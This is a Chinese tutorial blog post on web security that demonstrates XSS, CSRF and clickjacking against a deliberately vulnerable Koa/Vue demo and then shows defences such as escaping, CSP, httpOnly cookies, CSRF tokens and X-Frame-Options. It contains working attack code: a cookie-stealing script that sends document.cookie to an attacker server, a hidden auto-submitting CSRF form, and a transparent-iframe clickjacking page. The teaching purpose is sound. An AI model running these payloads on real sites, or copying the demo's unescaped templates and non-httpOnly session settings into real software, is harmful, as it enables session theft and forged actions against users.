《琢·磨》系列技术分享:16 常见Web安全攻防演练

本篇文章是《琢·磨》系列技术分享第16讲,分享常见Web安全攻防演练,包括XSS、CSRF、点击劫持,会从攻击和如何防守两个方向分别进行分享; 本篇文章使用的是koa + MongoDB + Vue实现的demo逻辑。

XSS

1)XSS的定义

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。 跨站脚本攻击是指通过存在安全漏洞的Web网站,让已注册用户在站点内运行非法的非本站点的HTML标签或JavaScript,进行的一种攻击。 简单的来说,就是在站内运行非本站的javascript脚本,所受到的攻击。

2)XSS的分类

常见的XSS攻击分类有两种:

1、反射型:通过url参数直接注入

2、存储型:存储到数据库,用户读取时注入

3)整体演示代码结构

在看代码之前,我们先来看一下demo提供的功能:

下面我们看一下,本次分享所使用到的demo: 首先是常规程序的主入口,index.js

const Koa = require('koa');

// koa-router来处理路由
const router = require('koa-router')();
const session = require('koa-session');

// 用来解析post请求的数据,会挂在ctx.request.body中
const bodyParser = require('koa-bodyparser');

// 用来做静态服务的处理 
const static = require('koa-static');

// 用来处理渲染前端模板,会在ctx中挂在render方法
const views = require('koa-views');

// 数据库连接文件
require('./utils/mongoose');

// 两个表的模型声明
const UserModel = require('./models/user');
const CommentModel = require('./models/Comment');

const {checkPassword
} = require('./utils/checkLogin');

const app = new Koa();

app.keys = ['some secret'];

// 以下做了上面引入的中间件的初始化
app.use(static(__dirname + '/'));
app.use(bodyParser());
app.use(session({key: 'koa.sess',maxAge: 86400000,httpOnly: false,signed: false,
}, app));

app.use(views(__dirname + '/views', {map: {html: 'handlebars',}
}));

// 登录接口
router.post('/login', async (ctx) => {const {body: {username,password,}} = ctx.request;// 检验账号密码if (!(await checkPassword({username,password,}))) {ctx.body = {message: '账号或者密码不对'};return;}ctx.session.userinfo = {username,password};ctx.body = {message: '登录成功'};
})

// 注册接口
router.post('/register', async (ctx, next) => {const {body: {username,password,}} = ctx.request;await UserModel.create({username,password});ctx.body = {message: '注册成功',};
})

// 渲染评论页面
router.get('/comment', async (ctx) => {const commentList = await CommentModel.getCommentList();await ctx.render('comment', {address: ctx.request.query.address,commentList: JSON.parse(JSON.stringify(commentList)),});
});

// 评论接口
router.post('/api/comment', async (ctx, next) => {const {body: {comment,}} = ctx.request;await CommentModel.createComment({username: ctx.session.userinfo.username,comment,});ctx.body = {message: '评论成功',};
})

// 渲染登录页面
router.get('/', async (ctx) => {await ctx.render('index');
});

// 简单处理一下评论需要登录的逻辑
app.use(async (ctx, next) => {if (ctx.url.indexOf('comment') > -1) {if (!ctx.session.userinfo) {ctx.redirect('/');} else {await next();}} else {await next();}
});

app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000); 

接下来看一下model里的逻辑,显示user.js

// 这里使用了mongoose库做MongoDB的操作
const mongoose = require('mongoose');
// 这里定义了表的数据模型
const schema = mongoose.Schema({username: String,password: String,
});

// 这里挂了两个方法,获取用户和设置用户
schema.statics.getUser = function(username) {return this.model('user').findOne({ username }).exec();
};

schema.statics.createUser = function({ username, password }) {return this.model('user').create({username,password,});
};

// 这里对表与模型做了关联
const model = mongoose.model('user', schema);

module.exports = model; 

下面是comment.js,基本同上:

const mongoose = require('mongoose');
const schema = mongoose.Schema({username: String,comment: String,
});

schema.statics.getCommentList = function(username) {return this.model('comment').find({}).exec();
};

schema.statics.createComment = function({ username, comment }) {return this.model('comment').create({username,comment,});
};

const model = mongoose.model('comment', schema);

module.exports = model; 

然后是utils里提供的工具函数, 主要是判断账号密码是否一致和连接数据库:

// checkLogin.js
const UserModel = require('../models/user');

exports.checkPassword =async function ({ username, password }) {const res = await UserModel.getUser(username);if (res && res.password === password) {return true;}return false
} 
// mongoose.js
const mongoose = require('mongoose');

mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {useNewUrlParser: true,useUnifiedTopology: true,
}).catch(error => {console.log('数据库error', error)
});;
const conn = mongoose.connection;

conn.on('error', () => console.log('数据库连接失败'));
conn.once('open', () => console.log('数据库连接成功')); 

之后是views中提供的两个页面:

<!-- index.html 登录注册页面 -->
<!DOCTYPE html>
<html lang="zh-cn">

<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./views/axios.min.js"></script><script src="./views/vue.js"></script>
</head>

<body><div id="app"><div><input v-model="username"><input v-model="password"></div><div><button v-on:click="login">登陆</button><button v-on:click="register">注册</button></div></div></div><script> var app = new Vue({el: '#app',data: {username: '',password: ''},methods: {async login() {await axios.post('/login', {username: this.username,password: this.password})location.href = '/comment?address=北京'},async register() {await axios.post('/register', {username: this.username,password: this.password})}}}); </script>
</body>

</html> 
<!-- comment.html 评论页面{{{}}} 三个中括号为handlebars模板引擎的语法,会将render渲染页面的第二个参数中的数据注入到页面中
 -->
<!DOCTYPE html>
<html lang="en">

<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="./views/axios.min.js"></script><script src="./views/vue.js"></script>
</head>

<body><div id="app"><div>欢迎来自<span style="color: red">{{{address}}}</span>的用户,欢迎评论</div><input type="text" v-model="value"><button v-on:click="comment">评论</button><div>评论列表</div><!-- handlebars中的循环语法 -->{{#each commentList}}<div>{{{comment}}}</div>{{/each}}</div><script> var app = new Vue({el: '#app',data: {value: '默认值',},methods: {async comment() {await axios.post('/api/comment', {comment: this.value,});location.href = '/comment?address=北京';}}}); </script>
</body>
</html> 

以上是常规应用程序的代码,接下来我们看一下攻击程序的代码,hack,先只看一下index.js中的逻辑,其他的等演示攻击的时候再展示:

const Koa = require('koa');
const static = require('koa-static');
const chalk = require('chalk');

// 将打印的log变为红色
const log = contents => {console.log(chalk.red(contents));
};

const app = new Koa();

app.use(static(__dirname + '/'));

// 主要的逻辑就是这个中间件,这里打印了一下请求里携带的cookie
app.use(async (ctx, next) => {log('cookie: ' + ctx.request.query.cookie);await next();
});

app.listen(4000); 

4)XSS反射型攻击

看完上面的效果演示及代码,我们先来看一下XSS反射性攻击的做法。

我们可以看到,在url的address中我们输入一个字符串,那么这个地点就会渲染到页面中。那么这种地方就可能会有被攻击的风险。那如果我们输入的是javascript脚本,它会不会执行呢?

可以看到<script>标签中的alert成功执行了;那么如果我把hack中的攻击脚本注入到url中呢? 我们先来看一下hack中的script.js这个攻击脚本做了什么操作:

// 这里的逻辑很简单,就是我们常用的发送埋点的一种方式,但是他携带了我们页面中的cookie
const img = document.createElement('img');
img.src = `http://localhost:4000?cookie=${document.cookie}`; 

我们再来看一下注入这个攻击脚本会发成什么:

我们会看到我们本站cookie,被hack网站拿到了,那这时候hack就可以拿着我们的cookie模拟我们的登录态进行登录:

反射性XSS攻击,需要用户点击相应的攻击链接才能进行攻击,效率上相对还是偏低,那么我们可以不可考虑将脚本注入到页面中,让所有访问该页面的用户都能运行我们的攻击脚本呢?那么就有了存储型,存储到数据库,用户读取时注入脚本。

5)XSS存储型攻击

接下来我们将脚本通过评论注入到数据库中:

我们可以看到在被注入数据库后,所有访问该页面的用户都会受到攻击。

6)XSS的危害

XSS就是运行javascript脚本,那么一切javascript能做的事情它都可以做,例如:

1、窃取 Cookie 信息,模拟用户进行登录,然后进行转账等操作

2、使用 addEventListener 监听用户行为,监听键盘事件,窃取用户的银行卡密码等。并发送到攻击者的服务器

3、通过修改 DOM 伪造假的登录窗口,欺骗用户输入用户名和密码等生成浮窗广告等

4、修改 URL 跳转到恶意网站

7)XSS防范手段

1、对输入内容进行转义

2、 CSP( Content Security Policy) 建立白名单

3、 httpOnly cookies

对输入内容进行转义

1.使用模板引擎提供的转义语法,对用户所输入的内容进行转义,这里我们用handlebars提供的{{}}双括号替代括号

 // app/comment.html<div id="app"><div>欢迎来自<span style="color: red">{{address}}</span>的用户,欢迎评论</div><input type="text" v-model="value"><button v-on:click="comment">评论</button><div>评论列表</div><!-- handlebars中的循环语法 -->{{#each commentList}}<div>{{comment}}</div>{{/each}}</div> 

可以看到script脚本被转成了字符串。

2.使用xss库对输入内容进行转义,这个的好处是,有一些白名单里的标签不会被转义,比如我们演示中的H1标签:

 // app/index.js
const xss = require('xss');

...

router.get('/comment', async (ctx) => {const commentList = await CommentModel.getCommentList();await ctx.render('comment', {address: ctx.request.query.address,// 这里我们用xss处理一下我们输出的内容commentList: JSON.parse(xss(JSON.stringify(commentList))),});
}); 

可以看到script脚本被转义了,而H1标签没有。

CSP( Content Security Policy) 建立白名单

先来简单介绍一下CSP CSP是内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。

那么接下来我们用CSP防御一下XSS攻击:

// app/index.js
// 这里我们新写一个中间件
app.use(async (ctx, next) => {// 这里我们只允许加载3000端口下的script脚本ctx.set('Content-Security-Policy', "script-src http://localhost:3000");await next();
}); 

我们可以看到前端页面这个时候4000的攻击脚本就没有加载进来,并在控制台有提示我们配置的csp规则。

httpOnly cookies

httpOnly,这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其 属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

// app/index.js
app.use(session({key: 'koa.sess',maxAge: 86400000,// 这里我们设置httpOnly为true,只允许cookie在http请求中使用httpOnly: true,signed: false,
}, app)); 

我们可以再次访问时,hack网站就拿不到我们的cookie信息了。

以上就是XSS攻击的攻击和防御手段了,接下来我们看一下CSRF的攻防手段。

CSRF

1)CSRF的定义

CSRF (cross site request forgery) 跨站请求伪造,它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。

2)CSRF演示

我们先来看一下hack中的csrf攻击页面逻辑:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h1>看小猫咪的网站,实际是CSRF攻击</h1><img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" alt=""><script> // 我们插入了一个form表单,在4000的hack网站请求了3000的接口,并且做了数据提交document.write(`<form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none">添加评论: <input type="text" name="comment" value="CSRF攻击" /></form>`)var iframe = document.createElement('iframe');iframe.name = 'csrf';iframe.style.display = 'none';document.body.appendChild(iframe);setTimeout(function() {document.querySelector('form').submit();},1000); </script>
</body>
</html> 

下面我们看一下演示

我们在演示中可以看到,我们在hack的网站中进行了访问,虽然我们没有去访问3000的站点,但仍然被hack网站冒用了信息,被盗用进行了评论,这就是csrf的攻击手段。它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。

3)CSRF的特点

1、攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。

2、攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。

3、跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

4)CSRF的防范手段

1、验证referer

2、携带token

3、使用验证码

验证referer

我们在app/index.js加一个中间件

app.use(async (ctx, next) => {// 这里我们将referer进行输出console.log('referer: ', ctx.request.header.referer);await next();
}); 

可以看到我们能拿到当前的访问站点是哪个,然后就可以设置白名单进行过滤。

携带token

这里的token就是一段随机的字符串,在用户访问时我们在页面中随机返回一段字符串,在用户请求的时候,需要携带csrf_token进行验证。那么hack网站在模拟攻击时,是无法获取我们页面中注入的csrf_token的,所以请求会验证失败。

// 我们引用koa-csrf库,它会在ctx下挂载csrf字段
const CSRF = require('koa-csrf');

...

app.use(new CSRF({invalidTokenMessage: 'Invalid CSRF token',invalidTokenStatusCode: 403,excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],disableQuery: false
}));

...

router.get('/comment', async (ctx) => {const commentList = await CommentModel.getCommentList();await ctx.render('comment', {address: ctx.request.query.address,commentList: JSON.parse(JSON.stringify(commentList)),csrfToken: ctx.csrf,});
}); 

我们将生成的csrf_token挂到页面中:

// views/comment.html
async comment() {await axios.post('/api/comment', {comment: this.value,_csrf: '{{csrfToken}}',});location.href = '/comment?address=北京';
} 

可以看到hack网站在发送请求的时候,验证未通过。

使用验证码

csrf就是在用户不知情的情况下,冒用身份做非法操作。那么我们最直接的杜绝方法,就是产生人机交互,让用户知道当前我要做什么操作,要干什么,从而防范csrf的攻击。那么常见的人机交互方式就是验证码的形式了。

以上就是csrf的攻击防御手段,接下来我们分享一下点击劫持。

点击劫持

1)点击劫持的定义

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击,触发了不是用户真正意愿的事件。

2)点击劫持演示

我们还是先来看一下hack的点击劫持攻击代码:

// hack/click.html

<!DOCTYPE html>
<html lang="en">

<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><style> iframe {width: 800px;height: 300px;position: absolute;top: -0px;left: -0px;z-index: 2;-moz-opacity: 0;opacity: 0;filter: alpha(opacity=0);}button {position: absolute;top: 32px;left: 164px;z-index: 1;}img {height: 300px;} </style>
</head>

<body><button>查看更多</button><imgsrc="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg"><iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
</body>

</html> 

这个攻击代码也很简单,我们就是讲iframe嵌套的网站设置成透明,放在最上层,然后用一个按钮覆盖页面中的操作,在用户点击查看更多图片的时候,实际上是进行了评论操作;

3)点击劫持的防范

X-FRAME-OPTIONS

1、DENY: 表示页面不允许通过 iframe 的方式展示

2、SAMEORIGIN: 表示页面可以在相同域名下通过 iframe 的方式展示

3、ALLOW-FROM: 表示页面可以在指定来源的 iframe 中展示

X-FRAME-OPTIONS是一个HTTP响应头。这个HTTP响应头就是为了防御用iframe嵌套的点击劫持攻击。 我们来看一下代码:

router.get('/comment', async (ctx) => {const commentList = await CommentModel.getCommentList();//这里我们设置了请求头,不允许任何页面将该页面进行iframe嵌套ctx.set('X-FRAME-OPTIONS', 'DENY');await ctx.render('comment', {address: ctx.request.query.address,commentList: JSON.parse(JSON.stringify(commentList)),});
}); 

可以看到,这个时候页面就没有被iframe加载进来了。

以上就是本期的全部分享了,希望可以对大家有所帮助!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值